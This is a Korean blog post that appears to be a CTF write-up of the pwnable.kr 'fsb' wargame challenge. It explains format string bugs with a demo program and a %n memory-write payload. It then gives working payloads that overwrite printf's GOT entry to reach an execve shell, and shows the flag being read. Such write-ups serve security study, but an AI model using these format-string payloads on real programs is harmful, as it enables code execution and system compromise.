본문 바로가기

CTF_Write_UP/pwnable.kr

[pwnable.kr] fsb

시작

안녕하세요 :D

BOB 8기 합격자 발표가 났어요!! 제 주변에도 합격자 분들이 보이네요.. 대단쓰..
저도 전역 후 9기로 꼭 들어갔으면 좋겠습니다 ㅎㅎㅎ..

그러려면 열심히 자격증 따구 삽질해야겠죠??

쉘 코드 만들기, 힙 영역 자세히 공부하기, Fake EBP, FSB 등등 할 건 엄청 많은데
JLPT가 1주일밖에 남지 않아서 정신이 없습니다ㅠㅠㅠ 한자 많다 많어..

오늘은 일본어가 무너뜨린 멘탈을 pwnable.kr의 fsb로 잡아보려고 합니다!!

항상 포맷스트링만 보면 무슨 소리지 몰라서 겁먹었는데ㅠㅠ
언젠간 해야 할 FSB잖아요. 이 문제를 통해 조금이나마 친해져보려고 합니다.

시작해보죠!!

Write UP

팁 아닌 팁?

scp -P 2222 -r fsb@pwnable.kr:~/fsb ./fsb 로 pwnbale.kr 서버의 바이너리를 가져올 수 있습니다.

Isn’t FSB almost obsolete in computer security?
Anyway, have fun with it :)

ssh fsb@pwnable.kr -p2222 (pw:guest)

#include <stdio.h>
#include <alloca.h>
#include <fcntl.h>

unsigned long long key;
char buf[100];
char buf2[100];

int fsb(char** argv, char** envp){
        char* args[]={"/bin/sh", 0};
        int i;

        char*** pargv = &argv;
        char*** penvp = &envp;
        char** arg;
        char* c;
        for(arg=argv;*arg;arg++) for(c=*arg; *c;c++) *c='\0';
        for(arg=envp;*arg;arg++) for(c=*arg; *c;c++) *c='\0';
        *pargv=0;
        *penvp=0;

        for(i=0; i<4; i++){
                printf("Give me some format strings(%d)\n", i+1);
                read(0, buf, 100);
                printf(buf);
        }

        printf("Wait a sec...\n");
        sleep(3);

        printf("key : \n");
        read(0, buf2, 100);
        unsigned long long pw = strtoull(buf2, 0, 10);
        if(pw == key){
                printf("Congratz!\n");
                execve(args[0], args, 0);
                return 0;
        }

        printf("Incorrect key \n");
        return 0;
}

int main(int argc, char* argv[], char** envp){

        int fd = open("/dev/urandom", O_RDONLY);
        if( fd==-1 || read(fd, &key, 8) != 8 ){
                printf("Error, tell admin\n");
                return 0;
        }
        close(fd);

        alloca(0x12345 & key);

        fsb(argv, envp); // exploit this format string bug!
        return 0;
}

워.. 뭔가 많아요 많아
괴상한 함수들과 3중 포인터.. ㅋㅋㅋㅋㅋ 벌써 신나네요 별거 없겠죠 뭐!! ㅎㅎ

main()을 보면 전역변수인 key에 이상한 짓을 해요. 값을 넣는 거겠죠??

그 후 fsb()를 호출합니다.

fsb()에선 for문이 4번 도는데, printf(buf) 부분에서 포맷스트링 버그가 터질 것 같네요.

여기서!! 포맷스트링 버그, FSB가 뭘까요??

 

 

C언어에서 printf() 함수를 쓸 때 %d 라덜까 %x, %p와 같은 것을 써보셨죠?
얘네들을 포맷스트링이라고 해요.

이 소스에선 포맷스트링을 지정하지 않고 printf(buf)라고 해놨어요.

buf[]에 평범한 문자열이 들어간다면 상관없겠지만 %p와 같은 포맷스트링이 들어가면 어떻게 될까요?

그대로 buf[]의 주소가 leak 되는 겁니다!!

이러한 포맷스트링을 이용해서 우리는 다양한 메모리들에 접근할 수 있게 됩니다.

우리가 FSB를 터뜨려야 할 때 꼭!!! 알아야하는 포맷스트링이 바로 %n 입니다.
이 녀석은 앞에 출력된 바이트 수 만큼을 특정 메모리가 가지고 있는 값에 덮어써요.

말로는 참 이해하기 힘들었습니다 이거..

예제를 보면 이해가 될 거에요!!

#include <stdio.h>

int p =0;

int main(int argc,char *argv[]) {

        char buf[256];

        strncpy(buf,argv[1],sizeof(buf));

        printf(buf);

        printf("\n%x %x\n",p,&p);
}

(소스 출처 : https://kaspyx.tistory.com/74)

root@goorm:/workspace/LCH_Server/pwnable.kr/pwnable_fsb# ./test aaaa
aaaa
0 804a028

첫 번째 인자를 buf[]에 복사한 후 전역변수인 p의 값과 주소를 출력합니다.
printf(buf)에서 FSB가 터져요.

root@goorm:/workspace/LCH_Server/pwnable.kr/pwnable_fsb# ./test AAAABBBBCCCCDDDD%8x,%8x,%8x
AAAABBBBCCCCDDDD41414141,42424242,43434343
0 804a028

AAAA의 값을 첫 번째 포맷스트링에서 참조하는 것을 확인할 수 있죠?

이걸 이용해 AAAA를 0x804a028로 바꾸고 첫 번째 포맷스트링을 %n으로 바꿔봅시다.

root@goorm:/workspace/LCH_Server/pwnable.kr/pwnable_fsb# ./test `python -c 'print "\x28\xa0\x04\x08" + "BBBBCCCCDDDD" + "%n"'`
(BBBBCCCCDDDD
10 804a028

짠!!! p의 값이 바뀌었습니다. 주소 4 bytes + B 4 + C 4 + D * 4 해서 0x10이 들어간거에요.

%n은 앞에서 출력한 문자의 개수 만큼 특정 메모리의 값을 덮어써준다!! 이런 개념입니다.

 

 

FSB의 소소한 팁이랄까..
%[num1]d%[num2]$n와 같은 조합을 사용하면 매우!!! 편리합니다.
예를들면 %10d%20$n스택의 20번째 값을 메모리로 보고, 여기에 값을 덮어씌운다!! 란 의미에요.

문제로 돌아가서

fsb() 함수 안에 포맷스트링이 터지는 부분을 브포로 잡고 달려봅시다.



스택에 쓸만한 값이 없나 보니 0xffa55a40이 있네요.

자자 포맷스트링 버그를 이용하면 저 0xffa55a40의 메모리에 값을 씌울 수 있습니다.

저 부분에 printf@got를 넣어두고 다시 참조, 쉘을 부르는 부분으로 got overwrite 하면 되겠네요!

gdb-peda$ p printf
$1 = {} 0x80483f0 <printf@plt>
gdb-peda$ x/3i 0x80483f0
   0x80483f0 <printf@plt>:      jmp    DWORD PTR ds:0x804a004
   0x80483f6 <printf@plt+6>:    push   0x8
   0x80483fb <printf@plt+11>:   jmp    0x80483d0

0x804a004 = 134520836

esp에서 저 부분까지의 offset은 14니깐 %134520836d%14$n을 해주면 0xffa55a400x804a004가 들어갈 것입니다.

쉘을 부르는 부분의 주소는 다음과 같습니다.

   0x0804869f <+363>:   mov    DWORD PTR [esp],0x80488ae
   0x080486a6 <+370>:   call   0x8048410 <puts@plt>
   0x080486ab <+375>:   mov    eax,DWORD PTR [ebp-0x24]
   0x080486ae <+378>:   mov    DWORD PTR [esp+0x8],0x0
   0x080486b6 <+386>:   lea    edx,[ebp-0x24]
   0x080486b9 <+389>:   mov    DWORD PTR [esp+0x4],edx
   0x080486bd <+393>:   mov    DWORD PTR [esp],eax
   0x080486c0 <+396>:   call   0x8048450 <execve@plt>

0x804869f = 134514335

esp에서 printf@got가 쓰여진 곳 까지의 offset은 20이니깐 %134514335d%20$n을 해주면 got overwrite가 되겠네요.

1억 3천개의 공백을 두 번 뛰어넘어.. 가봅시다.
엄청 오래걸려요

Give me some format strings(1)
%134520836d%14$n
.
.
Give me some format strings(2)
%134514335d%20$n
.
.
$ ls
flag  fsb  fsb.c
$ cat flag
Have you ever saw an example of utilizing [n] format character?? :(

마무리

FSB 끄으으으읕!!!

2억 6천개의 공백을 기다리다 보니 한 10분정도 쓱 지나갔네요..

오늘도 즐겁게 싸지방 포너블 했습니다!!

감사합니다 :D

'CTF_Write_UP > pwnable.kr' 카테고리의 다른 글

[pwnable.kr] unlink  (0) 2019.08.30
[pwnable.kr] horcruxes  (0) 2019.06.29
[pwnable.kr] unexploitable  (0) 2019.06.20
pwnable.kr : uaf 풀이  (0) 2019.04.18
pwnable.kr : lotto 풀이  (0) 2019.04.17